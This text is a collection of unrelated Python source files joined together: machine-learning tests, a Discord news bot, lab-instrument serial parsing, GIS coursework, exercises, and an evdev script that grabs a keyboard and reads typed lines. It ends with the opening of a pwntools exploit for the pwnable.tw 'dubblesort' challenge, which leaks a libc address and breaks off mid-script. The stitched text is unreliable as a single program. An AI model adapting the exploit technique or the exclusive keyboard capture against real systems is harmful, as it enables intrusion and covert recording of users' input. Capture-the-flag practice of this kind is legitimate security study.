    y_clustered = y_clustered[sorting]
    print("y_clustered[0]:", y_clustered[0])
    print("y_clustered.mean:", y_clustered.mean(axis=0))
    print("y_clustered.var:", (y_clustered**2).mean(axis=0))

    y_classification = n2.execute(x_s)
    print("y_classification[0]:", y_classification[0])
    print("y_classification.mean:", y_classification.mean(axis=0))
    print("y_classification.var:", (y_classification**2).mean(axis=0))

    signs_gsfa_classification = numpy.sign(y_classification[0,:])
    signs_gsfa_clustered = numpy.sign(y_clustered[0,:])
    y_clustered = y_clustered * signs_gsfa_clustered * signs_gsfa_classification

    assert (y_clustered - y_classification) == pytest.approx(0.0)

def test_GSFA_zero_mean_unit_variance_graph():
    """ Test of GSFA for zero-mean unit variance constraints on random data and graph, edge dictionary mode
    """
    x = numpy.random.normal(size=(200, 15))
    v = numpy.ones(200)
    e = {}
    for i in range(1500):
        n1 = numpy.random.randint(200)
        n2 = numpy.random.randint(200)
        e[(n1, n2)] = numpy.random.normal() + 1.0
    n = GSFANode(output_dim=5)
    n.train(x, train_mode="graph", node_weights=v, edge_weights=e)
    n.stop_training()

    y = n.execute(x)
    assert y.mean(axis=0) == pytest.approx(0.0)
    assert (y**2).mean(axis=0) == pytest.approx(1.0)

def test_basic_GSFA_edge_dict():
    """ Basic test of GSFA on random data and graph, edge dictionary mode
    """
    x = numpy.random.normal(size=(200, 15))
    v = numpy.ones(200)
    e = {}
    for i in range(1500):
        n1 = numpy.random.randint(200)
        n2 = numpy.random.randint(200)
        e[(n1, n2)] = numpy.random.normal() + 1.0
    n = GSFANode(output_dim=5)
    n.train(x, train_mode="graph", node_weights=v, edge_weights=e)
    n.stop_training()

    y = n.execute(x)
    delta_values_training_data = graph_delta_values(y, e)

    x2 = numpy.random.normal(size=(200, 15))
    y2 = n.execute(x2)
    y2 = y2 - y2.mean(axis=0)  # enforce zero mean
    y2 /= ((y2**2).mean(axis=0) ** 0.5)  # enforce zero-mean
    # print("y2 means:", y2.mean(axis=0))
    # print("y2 std:", (y2**2).mean(axis=0))

    delta_values_test_data = graph_delta_values(y2, e)
    assert (delta_values_training_data < delta_values_test_data).all()
    # print("Graph delta values of training data", graph_delta_values(y, e))
    # print("Graph delta values of test data (should be larger than for training)", graph_delta_values(y2, e))

def test_equivalence_SFA_GSFA_linear_graph():
    """ Tests the equivalence of Standard SFA and GSFA when trained using an appropriate linear graph (graph mode)
    """
    num_samples = 200
    correction_factor_scale = ((num_samples - 1.0) / num_samples) ** 0.5
    input_dim = 15
    x = numpy.random.normal(size=(num_samples, input_dim))
    x2 = numpy.random.normal(size=(num_samples, input_dim))

    v = numpy.ones(num_samples)
    e = {}
    for t in range(num_samples - 1):
        e[(t, t + 1)] = 1.0
    e[(0, 0)] = 0.5
    e[(num_samples - 1, num_samples - 1)] = 0.5

    print("Training GSFA:")
    output_dim = 5
    n = GSFANode(output_dim=output_dim)
    n.train(x, train_mode="graph", node_weights=v, edge_weights=e)
    n.stop_training()

    print("Training SFA:")
    n_sfa = mdp.nodes.SFANode(output_dim=output_dim)
    n_sfa.train(x)
    n_sfa.stop_training()

    y = n.execute(x)
    y *= correction_factor_scale
    assert y.shape[1] == output_dim, "Output dimensionality %d was supposed to be %d" % (y.shape[1], output_dim)
    print("y[0]:", y[0])
    print("y.mean:", y.mean(axis=0))
    print("y.var:", (y**2).mean(axis=0))
    y2 = n.execute(x2)
    y2 *= correction_factor_scale

    y_sfa = n_sfa.execute(x)
    print("y_sfa[0]:", y_sfa[0])
    print("y_sfa.mean:", y_sfa.mean(axis=0))
    print("y_sfa.var:", (y_sfa**2).mean(axis=0))
    y2_sfa = n_sfa.execute(x2)

    signs_sfa = numpy.sign(y_sfa[0,:])
    signs_gsfa = numpy.sign(y[0,:])
    y = y * signs_gsfa * signs_sfa
    y2 = y2 * signs_gsfa * signs_sfa

    assert (y_sfa - y) == pytest.approx(0.0)
    assert (y2_sfa - y2) == pytest.approx(0.0)

# FUTURE: Is it worth it to have so many methods? I guess the mirroring windows are enough, they have constant
# node weights and the edge weights almost fulfill consistency
def test_equivalence_window3_fwindow3():
    """Tests the equivalence of slow and fast mirroring sliding windows for GSFA
    """
    x = numpy.random.normal(size=(200, 15))
    training_modes = ("window3", "fwindow3")

    delta_values = []
    for training_mode in training_modes:
        n = GSFANode(output_dim=5)
        n.train(x, train_mode=training_mode)
        n.stop_training()

        y = n.execute(x)
        delta = comp_delta(y)
        # print("**Brute Delta Values of mode %s are: " % training_mode, delta)
        delta_values.append(delta)

    # print(delta_values)
    assert (delta_values[1] - delta_values[0]) == pytest.approx(0.0)

def test_equivalence_smirror_window3_mirror_window3():
    """Tests the equivalence of slow and fast mirroring sliding windows for GSFA
    """
    x = numpy.random.normal(size=(200, 15))
    training_modes = ("smirror_window3", "mirror_window3")

    delta_values = []
    for training_mode in training_modes:
        n = GSFANode(output_dim=5)
        n.train(x, train_mode=training_mode)
        n.stop_training()

        y = n.execute(x)
        delta = comp_delta(y)
        # print("**Brute Delta Values of mode %s are: " % training_mode, delta)
        delta_values.append(delta)

    # print(delta_values)
    assert (delta_values[1] - delta_values[0]) == pytest.approx(0.0)

def test_equivalence_smirror_window32_mirror_window32():
    """Tests the equivalence of slow and fast mirroring sliding windows for GSFA
    """
    x = numpy.random.normal(size=(200, 15))
    training_modes = ("smirror_window32", "mirror_window32")

    delta_values = []
    for training_mode in training_modes:
        n = GSFANode(output_dim=5)
        n.train(x, train_mode=training_mode)
        n.stop_training()

        y = n.execute(x)
        delta = comp_delta(y)
        # print("**Brute Delta Values of mode %s are: " % training_mode, delta)
        delta_values.append(delta)

    # print(delta_values)
    assert (delta_values[1] - delta_values[0]) == pytest.approx(0.0)

def test_equivalence_update_graph_and_update_graph_old():
    """ Basic test of GSFA on random data and graph, edge dictionary mode
    """
    x = numpy.random.normal(size=(200, 15))
    v = numpy.ones(200)
    e = {}
    for i in range(1500):
        n1 = numpy.random.randint(200)
        n2 = numpy.random.randint(200)
        e[(n1, n2)] = numpy.random.normal() + 1.0
    n = GSFANode(output_dim=5)
    n.train(x, train_mode="graph", node_weights=v, edge_weights=e)
    n.stop_training()
    y = n.execute(x)

    n2 = GSFANode(output_dim=5)
    n2.train(x, train_mode="graph_old", node_weights=v, edge_weights=e)
    n2.stop_training()
    y2 = n2.execute(x)

    assert (y - y2) == pytest.approx(0.0)


import evdev
from evdev import InputDevice, categorize, ecodes

class File(object):
  def __init__(self, path):
    self.path = path

  def listen(self):
    with open(self.path, 'r') as fp:
      for line in fp.readlines():
          yield line.strip()

# Provided as an example taken from my own keyboard attached to a Centos 6 box:
scancodes = {
    # Scancode: ASCIICode
    0: None, 1: u'ESC', 2: u'1', 3: u'2', 4: u'3', 5: u'4', 6: u'5', 7: u'6', 8: u'7', 9: u'8',
    10: u'9', 11: u'0', 12: u'-', 13: u'=', 14: u'BKSP', 15: u'TAB', 16: u'q', 17: u'w', 18: u'e', 19: u'r',
    20: u't', 21: u'y', 22: u'u', 23: u'i', 24: u'o', 25: u'p', 26: u'[', 27: u']', 28: u'CRLF', 29: u'LCTRL',
    30: u'a', 31: u's', 32: u'd', 33: u'f', 34: u'g', 35: u'h', 36: u'j', 37: u'k', 38: u'l', 39: u';',
    40: u'"', 41: u'`', 42: u'LSHFT', 43: u'\\', 44: u'z', 45: u'x', 46: u'c', 47: u'v', 48: u'b', 49: u'n',
    50: u'm', 51: u',', 52: u'.', 53: u'/', 54: u'RSHFT', 56: u'LALT', 57: u' ', 100: u'RALT'
}

capscodes = {
    0: None, 1: u'ESC', 2: u'!', 3: u'@', 4: u'#', 5: u'$', 6: u'%', 7: u'^', 8: u'&', 9: u'*',
    10: u'(', 11: u')', 12: u'_', 13: u'+', 14: u'BKSP', 15: u'TAB', 16: u'Q', 17: u'W', 18: u'E', 19: u'R',
    20: u'T', 21: u'Y', 22: u'U', 23: u'I', 24: u'O', 25: u'P', 26: u'{', 27: u'}', 28: u'CRLF', 29: u'LCTRL',
    30: u'A', 31: u'S', 32: u'D', 33: u'F', 34: u'G', 35: u'H', 36: u'J', 37: u'K', 38: u'L', 39: u':',
    40: u'\'', 41: u'~', 42: u'LSHFT', 43: u'|', 44: u'Z', 45: u'X', 46: u'C', 47: u'V', 48: u'B', 49: u'N',
    50: u'M', 51: u'<', 52: u'>', 53: u'?', 54: u'RSHFT', 56: u'LALT',  57: u' ', 100: u'RALT'
}
#setup vars
x = ''
caps = False

#grab provides exclusive access to the device

class Device(object):
  def __init__(self, device):
    self.dev = InputDevice(device)
    self.dev.grab()

  def listen(self):
    #loop
    x = ''
    caps = False
    for event in self.dev.read_loop():
      if event.type == ecodes.EV_KEY:
        data = categorize(event)  # Save the event temporarily to introspect it
        if data.scancode == 42:
          if data.keystate == 1:
            caps = True
          if data.keystate == 0:
            caps = False

        if data.keystate == 1:  # Down events only
          if caps:
            key_lookup = u'{}'.format(capscodes.get(data.scancode)) or u'UNKNOWN:[{}]'.format(data.scancode)  # Lookup or return UNKNOWN:XX
          else:
            key_lookup = u'{}'.format(scancodes.get(data.scancode)) or u'UNKNOWN:[{}]'.format(data.scancode)  # Lookup or return UNKNOWN:XX
          if (data.scancode != 42) and (data.scancode != 28):
            x += key_lookup

          if(data.scancode == 28):
            yield x
            x = ''


import json
import re
import pytz
import discord
import requests
import utils.global_variables as gv
from loguru import logger
from bs4 import BeautifulSoup
from datetime import datetime
from discord.ext.commands import Bot
from discord.ext import tasks, commands

class ThreadTasks(commands.Cog):
    def __init__(self, bot):
        self.index = 0
        self.bot: Bot = bot
        self.news_nasa.start()

    def cog_unload(self):
        self.news_nasa.cancel()

    @tasks.loop(minutes=1.0)
    @logger.catch
    async def news_nasa(self):
        guild_id = 484402073744703498
        channel_id = 687285704849489935

        if gv.TestBot:
            guild_id = 435485527156981770
            channel_id = 531541696995917844

        date = datetime.now().date()
        time = datetime.now(pytz.timezone('Europe/Moscow')).time()
        old_date = gv.DataBaseClass.get_value('date_post_nasa_news', None)

        logger.debug(f'nasa_news: guild_id - {guild_id}, channel_id - {channel_id}, '
                     f'status - {"on" if gv.ISPostNasaNews else "off" }, '
                     f'data - {date} '
                     f'time - {time} '
                     f'old_date - {old_date}')

        if not gv.ISPostNasaNews:
            logger.debug('NASA news - Off')
            return

        if not gv.NowPostNasaNews and old_date is not None and (date <= old_date or time.hour != 8):
            logger.debug('Start task news_nasa - Off')
            return

        if gv.NowPostNasaNews:
            gv.NowPostNasaNews = False

        logger.info('Start task news_nasa - On')
        gv.DataBaseClass.set_value('date_post_nasa_news', stype='date', value=date)

        guild: discord.Guild = self.bot.get_guild(guild_id)
        channel: discord.TextChannel = guild.get_channel(channel_id)

        response = requests.get('https://apod.nasa.gov/apod/')
        if response.status_code == 200:
            text = response.text

            soup = BeautifulSoup(text, "lxml")
            body = soup.body
            href = body.find_all('a', href=re.compile(r'image/\d{4}'))[0]
            min_src = href.img['src']

            description = str(body.find_all('p')[2])[26:-5]
            description = description.replace('\n', '')
            description = re.sub(r'(.+?)', r'\1', description)

            replaces = [
                (' .', '. '),
                (' ,', ', '),
                ('.', '. '),
                (',', ', '),
                ('  ', ' ')
            ]

            for repl_item in replaces:
                description = description.replace(*repl_item)

            ru_description = self.translate(description)

            emd = discord.Embed(color=gv.AdminColor)
            emd.add_field(name='**Description**', value=description)
            if ru_description:
                emd.add_field(name='**Описание**', value=ru_description, inline=True)
            emd.add_field(name='**Ссылка на большую версию**', value=f'https://apod.nasa.gov/apod/{href["href"]}',
                          inline=False)
            emd.set_image(url=f'https://apod.nasa.gov/apod/{min_src}')
            emd.set_footer(text=guild.name, icon_url=guild.icon.url)
            await channel.send(embed=emd)

    @news_nasa.before_loop
    async def before_news_nasa(self):
        logger.info('await connect bot')
        await self.bot.wait_until_ready()

    def translate(self, text: str):
        if not text:
            return
        body = {
            "targetLanguageCode": 'ru',
            "texts": text
        }

        headers = {
            "Content-Type": "application/json",
            "Authorization": "Api-Key {0}".format(gv.IAM_TOKEN)
        }

        response = requests.post('https://translate.api.cloud.yandex.net/translate/v2/translate',
                                 json=body,
                                 headers=headers
                                 )

        try:
            js = json.loads(response.text)
            if 'code' in js:
                logger.error(f'Request error: {response.text}')
                return ''
            return js.get('translations', [dict()])[0].get('text', '')
        except Exception as e:
            logger.error(f'Request error: {e}')
            return ''

async def setup(bot):
    await bot.add_cog(ThreadTasks(bot))


"""Handle parsing and providing pipette information."""
import re
from typing import Dict, Tuple
import struct
from opentrons_shared_data.errors.exceptions import (
    InvalidInstrumentData,
    PythonException,
)
from opentrons_hardware.firmware_bindings.constants import PipetteName
from opentrons_hardware.instruments.serial_utils import ensure_serial_length

# Separate string into 3 named groups:
#   - name P any
#   - model
#   - code

RAW_SERIAL_STRING = (
    "^"  # start of string
    r"(?P<name>P[\w\d]{3})"  # "name" group starts with P and contains exactly 3 alphanumeric characters
    "V"  # The character V
    r"(?P<model>\d{2})"  # "model" group contains exactly 2 digits
    r"(?P<code>[\w\d]{0,12})"  # "code" group contains 0 to 12 inclusive alphanumeric characters
    "$"  # end of string
)
SERIAL_RE = re.compile(RAW_SERIAL_STRING)

NAME_LOOKUP: Dict[str, PipetteName] = {
    "P1KS": PipetteName.p1000_single,
    "P1KM": PipetteName.p1000_multi,
    "P50S": PipetteName.p50_single,
    "P50M": PipetteName.p50_multi,
    "P1KH": PipetteName.p1000_96,
    "P50H": PipetteName.p50_96,
}

SERIAL_FORMAT_MSG = (
    f'Serial numbers must have the format PNNNVMMXXXXXX... where NNN is one of {", ".join(NAME_LOOKUP.keys())}, '
    "MM is a two-digit model number, and the rest is some serial code."
)

def info_from_serial_string(serialval: str) -> Tuple[PipetteName, int, bytes]:
    """Parse pipette information from a serial code.

    The return value is the serial parts: the name, the model, and the serial.

    Note: this is not the inverse of serial_val_from_parts. The input should be
    something a human scans, not something returned from a pipette. A bytestring
    from a pipette is probably not valid ascii and even if it is, you won't get
    the expected values from passing it to this function.
    """
    matches = SERIAL_RE.match(serialval.strip())
    if not matches:
        raise InvalidInstrumentData(
            message=f"The serial number {serialval.strip()} is not valid. {SERIAL_FORMAT_MSG}",
            detail={"serial": serialval},
        )
    try:
        name = NAME_LOOKUP[matches.group("name")]
    except KeyError:
        raise InvalidInstrumentData(
            message=f"The pipette name part of the serial number ({matches.group('name')}) is unknown. {SERIAL_FORMAT_MSG}",
            detail={"name": matches.group("name")},
        )
    model = int(matches.group("model"))

    return (
        name,
        model,
        ensure_serial_length(matches.group("code").encode("ascii")),
    )

def serial_val_from_parts(name: PipetteName, model: int, serialval: bytes) -> bytes:
    """Encode pipette information into a bytestring suitable for EEPROM storage.

    Note: this is not the inverse of info_from_serial_string. info_from_serial_string
    parses information from a human-entered string that is probably the pipette barcode.
    This function takes that information and specifically encodes it in a bytestring for
    storage on the pipette, which includes binary data. If you call

    serial_val_from_parts(*info_from_serial_str(somestr.encode('ascii'))).decode('ascii')

    you will not get what you put in.
    """
    try:
        return struct.pack(
            ">HH16s",
            name.value,
            model,
            ensure_serial_length(serialval),
        )
    except struct.error as e:
        raise InvalidInstrumentData(
            message="Invalid pipette serial",
            detail={"name": name, "model": model, "serial": str(serialval)},
            wrapping=[PythonException(e)],
        )


'''
GEOG5790 - Practical 4 (GUI)
Anne Harding (200754573), 14/02/2019
------------------------------------------------
Python script of Trafford Model to be called by Add-In button.
'''

# Import modules:
import arcpy

# Define Arc environments:
wkspc = r"Z:/GEOG5790/practical4"           # define workspace
arcpy.env.workspace = wkspc                 # set workspace
mxd = arcpy.mapping.MapDocument("CURRENT")  # get current .mxd
df = mxd.activeDataFrame                    # get current dataframe

# PARAMETERS:
# Get input parameters from GUI:
Burglaries = arcpy.GetParameterAsText(0)
Distance = arcpy.GetParameterAsText(1)
Buildings = arcpy.GetParameterAsText(2)
# Define location of output parameters:
Out = wkspc + "/generated_data/crime.shp"
Sorted_Out = wkspc + "/generated_data/crime_sorted.shp"

# Check if output files are already open in the .mxd. If so, remove.
arcpy.AddMessage("Removing existing output files from .mxd:")
for lyr in arcpy.mapping.ListLayers(mxd, "crime", df):
    arcpy.mapping.RemoveLayer(df,lyr)
for lyr in arcpy.mapping.ListLayers(mxd, "crime_sorted", df):
    arcpy.mapping.RemoveLayer(df,lyr)

# Loop through output files to check they don't already exist. If so, delete.
files = [Out, Sorted_Out]
arcpy.AddMessage("Checking if output files already exist.")
for file in files:
    if arcpy.Exists(file):
        arcpy.AddMessage(file + " exists. Deleting existing file.")
        arcpy.Delete_management(file)

# Run Trafford Model from Practical 4 toolbox:
arcpy.AddMessage("Running Trafford Model.")
arcpy.ImportToolbox("Z:/GEOG5790/practical4/practical4.tbx", "practical4")
arcpy.TraffordModel_practical4(Burglaries, Distance, Buildings, Out)

# Sort data by "Join_Count" field:
# arcpy.AddMessage("Sorting output data.")
# arcpy.Sort_management(Out, Sorted_Out, [["Join_Count", "DESCENDING"]])
'''
I get the following error here, which I have not been able to solve:
"Traceback (most recent call last):
  File "Z:\GEOG5790\practical4\traffordmodelscript.py", line 41, in <module>
    arcpy.Sort_management(Out, Sorted_Out, [["Join_Count", "DESCENDING"]])
  File "c:\program files (x86)\arcgis\desktop10.6\arcpy\arcpy\management.py", line 4591, in Sort
    raise e
ExecuteError: ERROR 999999: Error executing function.
Cannot acquire a lock.
Cannot acquire a lock.
Failed to execute (Sort)."
But this should not matter, as the same symbology will be applied to the data whether it
has been sorted or not.
'''

# SYMBOLOGY:
# Make a new layer from the sorted crime data:
newlayer = arcpy.mapping.Layer(Out)
# Make a new layer from the example layer file:
layerFile = arcpy.mapping.Layer(wkspc + "/albertsquare/buildings.lyr")
# Update the data layer with the symbology from the example layer file:
arcpy.mapping.UpdateLayer(df, newlayer, layerFile, True)
# Print layer's symbology type to screen to check that it is "UNIQUE_VALUES":
arcpy.AddMessage(newlayer.symbologyType)
# Coloured by the values in the "Join_Count" field:
# THIS LINE IS UNNECESSARY AS THE APPLIED SYMBOLOGY ALREADY USES THE "Join_Count" FIELD:
# newlayer.symbology.valueField = "Join_Count"
# Add all unique values from the "Join_Count" field to the symbology:
# newlayer.symbology.addAllValues()
'''
Get error here:
Traceback (most recent call last):
  File "Z:\GEOG5790\practical4\traffordmodelscript.py", line 78, in <module>
    newlayer.symbology.addAllValues()
  File "c:\program files (x86)\arcgis\desktop10.6\arcpy\arcpy\_mapping.py", line 1375, in addAllValues
    return convertArcObjectToPythonObject(self._arc_object.addAllValues(*gp_fixargs((), True)))
RuntimeError

Tried to use the following instead to obtain the unique values from the file,
but I get an error saying 'cannot acquire a lock':

values = []
rows = arcpy.da.SearchCursor(newlayer, ["Join_Count"])
for row in rows:
    values.append(row[0])
newlayer.symbology.classValues = values
'''
newlayer.symbology.showOtherValues = True
# Add data layer to the map at the TOP of the dataframe:
arcpy.mapping.AddLayer(df, newlayer, "TOP")

# Refresh view and Table of Contents to ensure user is seeing most up-to-date view:
arcpy.RefreshActiveView()
arcpy.RefreshTOC()

'''
Other functions I tried to apply the example layer's symbology:
arcpy.MakeFeatureLayer_management(Out, Out_lyr)
arcpy.SaveToLayerFile_management(Out_lyr, Out_lyr)
arcpy.ApplySymbologyFromLayer_management(newlayer, layerFile)
'''


#!/bin/env python

import os
import logging
import shrub

logging.basicConfig(level=logging.INFO)

################# XXX update these env accordingly XXX #############

target_name = 'cpu'
network = 'mobilenet'
useLayout = 'NCHW'
# useLayout = 'NHWC'
dtype = 'float32'

useCores = 4
bigLITTLE = 1

####################################################################

target = shrub.tvm.TargetProvider(target_name, bigLITTLE, useCores)
net, params, model = shrub.tvm.get_model(network, dtype, useLayout)

tuner = shrub.tvm.Tuner(model.name, target)
tuner.tune(net, params, target)
dep = shrub.tvm.Deployable()
dep.build(target, model, net, params, tuner.record)
dep.export(target)

model.genInput()
model.store('input')
rti = shrub.tvm.RuntimeWrapper(model, target, dep)
rti.run(model, useLayout, dumpOutput=True)
# shrub.tflite.run(model, dumpOutput=True, logLevel=logging.INFO)
# rti.profile(target, 10)


"""Provide functions to modify model components."""

from ast import NodeTransformer
from itertools import chain
from typing import TYPE_CHECKING, Dict

from ..core.gene import ast2str
from .delete import get_compiled_gene_reaction_rules

if TYPE_CHECKING:
    from cobra import Gene, Model

# Set of tuples of operators and their corresponding textual form
_renames = (
    (".", "_DOT_"),
    ("(", "_LPAREN_"),
    (")", "_RPAREN_"),
    ("-", "__"),
    ("[", "_LSQBKT"),
    ("]", "_RSQBKT"),
    (",", "_COMMA_"),
    (":", "_COLON_"),
    (">", "_GT_"),
    ("<", "_LT"),
    ("/", "_FLASH"),
    ("\\", "_BSLASH"),
    ("+", "_PLUS_"),
    ("=", "_EQ_"),
    (" ", "_SPACE_"),
    ("'", "_SQUOT_"),
    ('"', "_DQUOT_"),
)

def _escape_str_id(id_str: str) -> str:
    """Make a single string ID SBML compliant.

    Parameters
    ----------
    id_str: str
        The ID string to operate on.

    Returns
    -------
    str
        The SBML compliant ID string.

    """
    for c in ("'", '"'):
        if id_str.startswith(c) and id_str.endswith(c) and id_str.count(c) == 2:
            id_str = id_str.strip(c)
    for char, escaped_char in _renames:
        id_str = id_str.replace(char, escaped_char)
    return id_str

class _GeneEscaper(NodeTransformer):
    """Class to represent a gene ID escaper."""

    def visit_Name(self, node: "Gene") -> "Gene":
        """Escape string ID.

        Parameters
        ----------
        node: cobra.Gene
            The gene object to work on.

        Returns
        -------
        cobra.Gene
            The gene object whose ID has been escaped.

        """
        node.id = _escape_str_id(node.id)
        return node

def escape_ID(model: "Model") -> None:
    """Make all model component object IDs SBML compliant.

    Parameters
    ----------
    model: cobra.Model
        The model to operate on.

    """
    for x in chain([model], model.metabolites, model.reactions, model.genes):
        x.id = _escape_str_id(x.id)
    model.repair()
    gene_renamer = _GeneEscaper()
    for rxn, rule in get_compiled_gene_reaction_rules(model).items():
        if rule is not None:
            rxn._gene_reaction_rule = ast2str(gene_renamer.visit(rule))

class _Renamer(NodeTransformer):
    """
    Class to represent a gene renamer.

    Parameters
    ----------
    rename_dict: dict of {str: str}
        The dictionary having keys as old gene names
        and value as new gene names.

    """

    def __init__(self, rename_dict: Dict[str, str], **kwargs) -> None:
        """Initialize a new object.

        Other Parameters
        ----------------
        **kwargs:
            Further keyword arguments are passed on to the parent class.

        """
        super().__init__(**kwargs)
        self.rename_dict = rename_dict

    def visit_Name(self, node: "Gene") -> "Gene":
        """Rename a gene.

        Parameters
        ----------
        node: cobra.Gene
            The gene to rename.

        Returns
        -------
        cobra.Gene
            The renamed gene object.

        """
        node.id = self.rename_dict.get(node.id, node.id)
        return node

def rename_genes(model: "Model", rename_dict: Dict[str, str]) -> None:
    """Rename genes in a model from the `rename_dict`.

    Parameters
    ----------
    model: cobra.Model
        The model to operate on.
    rename_dict: dict of {str: str}
        The dictionary having keys as old gene names
        and value as new gene names.

    """
    recompute_reactions = set()  # need to recompute related genes
    remove_genes = []
    for old_name, new_name in rename_dict.items():
        # undefined if there a value matches a different key
        try:
            gene_index = model.genes.index(old_name)
        except ValueError:
            gene_index = None
        old_gene_present = gene_index is not None
        new_gene_present = new_name in model.genes
        if old_gene_present and new_gene_present:
            old_gene = model.genes.get_by_id(old_name)
            # Added in case not renaming some genes:
            if old_gene is not model.genes.get_by_id(new_name):
                remove_genes.append(old_gene)
                recompute_reactions.update(old_gene._reaction)
        elif old_gene_present and not new_gene_present:
            # rename old gene to new gene
            gene = model.genes[gene_index]
            # trick DictList into updating index
            model.genes._dict.pop(gene.id)  # ugh
            gene.id = new_name
            model.genes[gene_index] = gene
        elif not old_gene_present and new_gene_present:
            pass
        else:  # if not old gene_present and not new_gene_present
            # the new gene's _model will be set by repair
            # This would add genes from rename_dict
            # that are not associated with a rxn
            # cobra_model.genes.append(Gene(new_name))
            pass
    model.repair()

    gene_renamer = _Renamer(rename_dict)
    for rxn, rule in get_compiled_gene_reaction_rules(model).items():
        if rule is not None:
            rxn._gene_reaction_rule = ast2str(gene_renamer.visit(rule))

    for rxn in recompute_reactions:
        rxn.gene_reaction_rule = rxn._gene_reaction_rule
    for i in remove_genes:
        model.genes.remove(i)


# MCC runtime testing with csv file writing

import csv
from timeit import default_timer as timer
from mcc_algos import *

def runtime(algo_type, V, low, high, runs):
	times = []
	for i in range(low, high + 1):
		total = 0
		for j in range(runs):
			start = timer()
			algo_type(V, i)
			end = timer()
			total += end - start

		average = total / runs
		times.append((i, average))
	return times

def minimum(algo_type, V, low, high):
	mins = []
	for i in range(low, high + 1):
		(min_change, min_count) = algo_type(V, i)
		mins.append((i, min_count))
	return mins

def get_data():
	V1 = [1, 2, 6, 12, 24, 48, 60]
	V2 = [1, 5, 10, 25, 50]
	V3 = [1, 6, 13, 37, 150]

	# Minimum coins for each A
	write_data('alg1_V1_1-35.csv', minimum(changeslow, V1, 1, 35))
	write_data('alg1_V2_1-35.csv', minimum(changeslow, V2, 1, 35))
	write_data('alg1_V3_1-35.csv', minimum(changeslow, V3, 1, 35))

	write_data('alg2_V1_1-50.csv', minimum(changegreedy, V1, 1, 50))
	write_data('alg2_V2_1-50.csv', minimum(changegreedy, V2, 1, 50))
	write_data('alg2_V3_1-50.csv', minimum(changegreedy, V3, 1, 50))

	write_data('alg2_V1_2000-2200.csv', minimum(changegreedy, V1, 2000, 2200))
	write_data('alg2_V2_2000-2200.csv', minimum(changegreedy, V2, 2000, 2200))
	write_data('alg2_V3_2000-2200.csv', minimum(changegreedy, V3, 2000, 2200))

	write_data('alg3_V1_1-50.csv', minimum(changedp, V1, 1, 50))
	write_data('alg3_V2_1-50.csv', minimum(changedp, V2, 1, 50))
	write_data('alg3_V3_1-50.csv', minimum(changedp, V3, 1, 50))

	write_data('alg3_V1_2000-2200.csv', minimum(changedp, V1, 2000, 2200))
	write_data('alg3_V2_2000-2200.csv', minimum(changedp, V2, 2000, 2200))
	write_data('alg3_V3_2000-2200.csv', minimum(changedp, V3, 2000, 2200))

	# Runtimes for each
	write_data('alg1_V2_runtimes.csv', runtime(changeslow, V2, 1, 35, 1))
	write_data('alg2_V2_runtimes.csv', runtime(changegreedy, V2, 1, 50, 5))
	write_data('alg3_V2_runtimes.csv', runtime(changedp, V2, 1, 50, 5))

	print('Wrote csv files...')

def write_data(filename, array):
	with open(filename, 'wb') as output:
		file_writer = csv.writer(output)
		for row in array:
			file_writer.writerow(row)

if __name__ == '__main__':
	get_data()


#Exercise #1

#Create a list clothes = ["socks", "shirt", "skirt", "scarf"] and function insert_element():

clothes = ["socks", "shirt", "skirt", "scarf"]

def insert_element(new_cloth, index=0):
    clothes.insert(index, new_cloth)
    print(clothes)

insert_element('pants', 2)
insert_element("hat", -1)
insert_element("coat")

#Exercise #2

#Create a list employee_shift = ["Mike", "Andrew", "Emma", "Kelly", "John", "Brad"] and a function replace_employee():

employee_shift = ["Mike", "Andrew", "Emma", "Kelly", "John", "Brad"]
print("The original list : " + str(employee_shift))

new_employees = [item.replace("Kelly", "Maria") for item in employee_shift]

print("The list after substring replacement : " + str(new_employees))


from typing import List
import time

class Solution:
    def arrayStringsAreEqual(self, word1: List[str], word2: List[str]) -> bool:
        def listToString(s):
            # initialize an empty string
            str1 = ""

            # traverse in the string
            for ele in s:
                str1 += ele

            # return string
            return str1

        word1Str = listToString(word1)
        word2Str = listToString(word2)
        if word1Str == word2Str:
            return True
        else:
            return False

# Leetcode Solution
# class Solution:
#     def arrayStringsAreEqual(self, word1: List[str], word2: List[str]) -> bool:
#         return True if ''.join(word1) == ''.join(word2) else False

start = time.time()
s = Solution()
word1 = ["ab", "c"]
word2 = ["a", "bc"]

# word1 = ["a", "cb"]
# word2 = ["ab", "c"]
# word1=["abc", "d", "defg"]
# word2 = ["abcddefg"]
returnval = s.arrayStringsAreEqual(word1, word2)
print(returnval)
end = time.time()
print("The time of execution of above program is :", (end - start) * 10**3, "ms")


import numpy as np

def initialisation(dim):
    parameters = {}
    var_c = len(dim)

    for c in range(1, var_c):
        parameters["var_w" + str(c)] = np.random.randn(dim[c], dim[c - 1])
        parameters["var_b" + str(c)] = np.random.randn(dim[c], 1)

    return parameters

def forward_propagation(var_x, parameters):
    activations = {"var_a0": var_x}
    var_c = len(parameters) // 2

    for c in range(1, var_c + 1):
        var_z = parameters["var_w" + str(c)].dot(activations["var_a" + str(c - 1)]) + parameters["var_b" + str(c)]
        activations["var_a" + str(c)] = 1 / (1 + np.exp(-var_z))

    return activations

def back_propagation(var_y, parameters, activations):

    m = var_y.shape[1]
    var_c = len(parameters) // 2

    var_dz = activations["var_a" + str(var_c)] - var_y
    gradients = {}

    for c in reversed(range(1, var_c + 1)):
        gradients["var_dw" + str(c)] = 1 / m * np.dot(var_dz, activations["var_a" + str(c -1)].T)
        gradients["var_db" + str(c)] = 1 / m * np.sum(var_dz, axis=1, keepdims=True)
        if c > 1:
            var_dz = np.dot(parameters["var_w" + str(c)].T, var_dz) * activations["var_a" + str(c - 1)] * \
                     (1 - activations["var_a" + str(c - 1)])

    return gradients

def update(gradients, parameters, learning_rate):
    var_c = len(parameters) // 2

    for c in range(1, var_c + 1):
        parameters["var_w" + str(c)] = parameters["var_w" + str(c)] - learning_rate * gradients["var_dw" + str(c)]
        parameters["var_b" + str(c)] = parameters["var_b" + str(c)] - learning_rate * gradients["var_db" + str(c)]

    return parameters

def predict(var_x, parameters):
    activations = forward_propagation(var_x, parameters)
    var_c = len(parameters) // 2

    var_af = activations["var_a" + str(var_c)]
    return var_af >= 0.5


from pwn import *

local=1
if local:
	p = process('./dubblesort')
	bin = ELF('./dubblesort')
	libc = ELF('/lib/i386-linux-gnu/libc.so.6')
	context.log_level = 'debug'
else:
	p = remote('chall.pwnable.tw', 10101)
	bin = ELF('./dubblesort')
	libc = ELF('./libc_32.so.6')

p.recv()
p.sendline('a'*24)
got_addr = u32(p.recv()[30:34])-0xa
if local:
	libc.address = got_addr-0x1b2000
else:
